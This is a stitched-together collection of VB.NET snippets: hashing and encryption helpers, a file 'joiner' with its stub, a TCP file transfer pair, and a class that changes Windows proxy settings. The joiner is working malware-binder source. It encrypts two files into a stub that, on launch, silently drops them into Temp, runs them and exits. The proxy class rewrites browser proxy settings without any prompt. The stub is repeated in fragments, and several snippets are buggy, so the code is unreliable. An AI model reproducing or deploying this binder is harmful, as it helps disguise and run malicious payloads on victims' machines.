Public Class Form1
Private Sub btnEncrypt_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnEncrypt.Click
txtOutput.Text = StringToMD5(txtInput.Text)
End Sub
Private Function StringToMD5(ByVal Content As String) As String
Dim M5 As New Security.Cryptography.MD5CryptoServiceProvider
Dim ByteString() As Byte = System.Text.Encoding.ASCII.GetBytes(Content)
ByteString = M5.ComputeHash(ByteString)
Dim FinalString As String = Nothing
For Each bt As Byte In ByteString
FinalString = bt.ToString("x6")
Next
Return FinalString
End Function
End Class
Public Class Form1
Dim DES As New System.Security.Cryptography.TripleDESCryptoServiceProvider
Dim Hash As New System.Security.Cryptography.MD5CryptoServiceProvider
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Try
DES.Key = Hash.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(TextBox1.Text))
DES.Mode = Security.Cryptography.CipherMode.ECB
Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = DES.CreateEncryptor
Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(TextBox2.Text)
TextBox2.Text = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
Catch ex As Exception
MessageBox.Show("The following error(s) have occurred: " & ex.Message)
End Try
End Sub
End Class
Public Class Form1
Dim F, F2 As String
Function secure(ByVal data As Byte()) As Byte()
Using sa As New System.Security.Cryptography.RijndaelManaged
sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
Return sa.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
End Using
End Function
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim ofd As New OpenFileDialog
With ofd
.FileName = "*.*"
.Title = "Choose a file..."
.Filter = "All Files(*.*)|*.*"
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If .ShowDialog = Windows.Forms.DialogResult.OK Then
F = .SafeFileName
TextBox1.Text = .FileName
End If
End With
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim ofd As New OpenFileDialog
With ofd
.FileName = "*.*"
.Title = "Choose a file..."
.Filter = "All Files(*.*)|*.*"
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If .ShowDialog = Windows.Forms.DialogResult.OK Then
F2 = .SafeFileName
TextBox2.Text = .FileName
End If
End With
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Me.Close()
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Try
Dim sfd As New SaveFileDialog
With sfd
.FileName = "*.*"
.Title = "Choose an output folder..."
.Filter = "All Files(*.*)|*.*"
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If .ShowDialog = Windows.Forms.DialogResult.OK Then
Dim sp As String = "[SPLITTER]"
Dim buffer As Byte() = My.Resources.Stub
My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
Dim File2 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(file1) & sp & F & sp & Convert.ToBase64String(File2) & sp & F2)
MsgBox("Joined successfull", MsgBoxStyle.Information, "")
End If
End With
Catch ex As Exception
MsgBox("Error(s)", MsgBoxStyle.Critical, "")
End Try
End Sub
End Class
Stub
Public Class Form1
Function unsecure(ByVal data As Byte()) As Byte()
Using sa As New System.Security.Cryptography.RijndaelManaged
sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
Return sa.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
End Using
End Function
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Try
Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))
My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(2), file1, False)
My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(4), file2, False)
Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
Catch ex As Exception
Process.GetCurrentProcess.Kill()
End Try
Process.GetCurrentProcess.Kill()
End Sub
End Class
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Try
Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))
My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(2), file1, False)
My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(4), file2, False)
Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
Catch ex As Exception
Process.GetCurrentProcess.Kill()
End Try
Process.GetCurrentProcess.Kill()
End Sub
End Class
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))
My.Computer.FileSystem.WriteAllBytes(tempDir & "/" & drop(2), file1, False)
My.Computer.FileSystem.WriteAllBytes(tempDir & "/" & drop(4), file2, False)
Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
End Sub
End Class
Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports System.Threading
Public class Form1
Private filePath As String
Delegate Sub nan()
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Button2.Enabled = False
filePath = TextBox1.Text
Dim sendThread As New System.Threading.Thread(AddressOf sendSub)
sendThread.IsBackground = True
sendThread.Start()
End Sub
Private Sub sendSub()
Dim cli As New TcpClient
cli.Connect(TextBox2.Text, 1300)
Try
Dim nstm As Stream = cli.GetStream()
Dim fstm As Stream = New FileStream(filePath, FileMode.Open, FileAccess.Read)
Dim buffer(1024 - 1) As Byte
Do While True
Dim bytesRead As Integer = fstm.Read(buffer, 0, buffer.Length)
If bytesRead = 0 Then Exit Do
nstm.Write(buffer, 0, bytesRead)
nstm.Flush()
Loop
cli.Close()
nstm.Close()
fstm.Close()
MsgBox("Уes", MsgBoxStyle.Exclamation, "It Works=)")
Catch ex As Exception
MsgBox("Not works" & vbCr & ex.ToString, MsgBoxStyle.Critical, "Error")
End Try
End Sub
End class
Form that geting file
Imports System.Net.Sockets
Imports System.Net
Imports System.IO
Public Class Form1
Private filePath As String
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Button1.Enabled = False
TextBox1.Enabled = False
filePath = TextBox1.Text
Dim ListenThread As System.Threading.Thread = New System.Threading.Thread(AddressOf ListenSub)
ListenThread.IsBackground = True
ListenThread.Start()
End Sub
Private Sub ListenSub()
Dim server As New TcpListener(IPAddress.Any, 1300)
server.Start()
Try
While True
Dim c As TcpClient = server.AcceptTcpClient
Dim s As NetworkStream = c.GetStream
FileOpen(1, filePath, OpenMode.Binary)
Dim buffer(1024 - 1) As Byte
Do While True
Dim bytesRead As Integer = s.Read(buffer, 0, buffer.Length)
If bytesRead = 0 Then Exit Do
FilePut(1, buffer)
Loop
FileClose(1)
s.Close()
c.Close()
End While
Catch ex As Exception
MsgBox("Error" & vbCr & ex.ToString, MsgBoxStyle.Critical, "")
End Try
End Sub
End Class
Imports Microsoft.Win32
Public Class ProxySetting
Public Function IsProxyEnabled() As Boolean
Try
Dim Regs As RegistryKey = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Internet Settings", RegistryKeyPermissionCheck.ReadWriteSubTree)
If Regs.GetValue("ProxyEnable") <> Nothing Then
If Regs.GetValue("ProxyEnable").ToString() = "0" Then
Return False
Else
Return True
End If
Else
Return False
End If
Catch ex As Exception
Return False
End Try
End Function
Public Function GetProxyServer() As String
Try
Dim Regs As RegistryKey = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Internet Settings", RegistryKeyPermissionCheck.ReadWriteSubTree)
If Regs.GetValue("ProxyServer") <> Nothing Then
Return Regs.GetValue("ProxyServer").ToString()
Else
Return ""
End If
Catch ex As Exception
Return ""
End Try
End Function
Public Sub DisableProxy()
Dim regKey As RegistryKey
Try
regKey = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Internet Settings", True)
regKey.SetValue("ProxyEnable", False, RegistryValueKind.DWord)
regKey.Close()
Catch ex As Exception
End Try
End Sub
Public Sub SetProxy(ByVal ServerName As String, ByVal port As Integer)
Try
Dim regkey1 As RegistryKey
regkey1 = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Internet Settings", True)
regkey1.SetValue("ProxyServer", ServerName + ":" + port.ToString(), RegistryValueKind.Unknown)
regkey1.SetValue("ProxyEnable", True, RegistryValueKind.DWord)
regkey1.Close()
Catch ex As Exception
End Try
End Sub
End Class
How to use the class and its methods
How to use the class and its methods
1) To Check Whether Proxy Is Enabled or Disabled call the Function IsProxyEnabled()
Example :
Dim Proxy as new ProxySetting()
If pxy.IsProxyEnabled() Then
Msgbox("Proxy Enabled")
End If
2) Set IE Proxy you need to call the SetProxy() method which takes 2 Parameters the first the IP or the Host Name and the second the Port Number.
Example
Proxy.SetProxy(TxtProxy.Text, Convert.ToInt16(txtPort.Text))
3) Disable Proxy Settings you need to call the Method DisableProxy()
Proxy.DisableProxy()
4) To get what proxy is already applied you need to call the Function GetProxyServer();
Dim ServerAndProxy() As String = Proxy.GetProxyServer().Split(":")
TxtProxy.Text = ServerAndProxy(0)
txtPort.Text = ServerAndProxy(1)
In the code above i split the Result of GetProxyServer() with the seperator : to get the Host and the IP seperately.
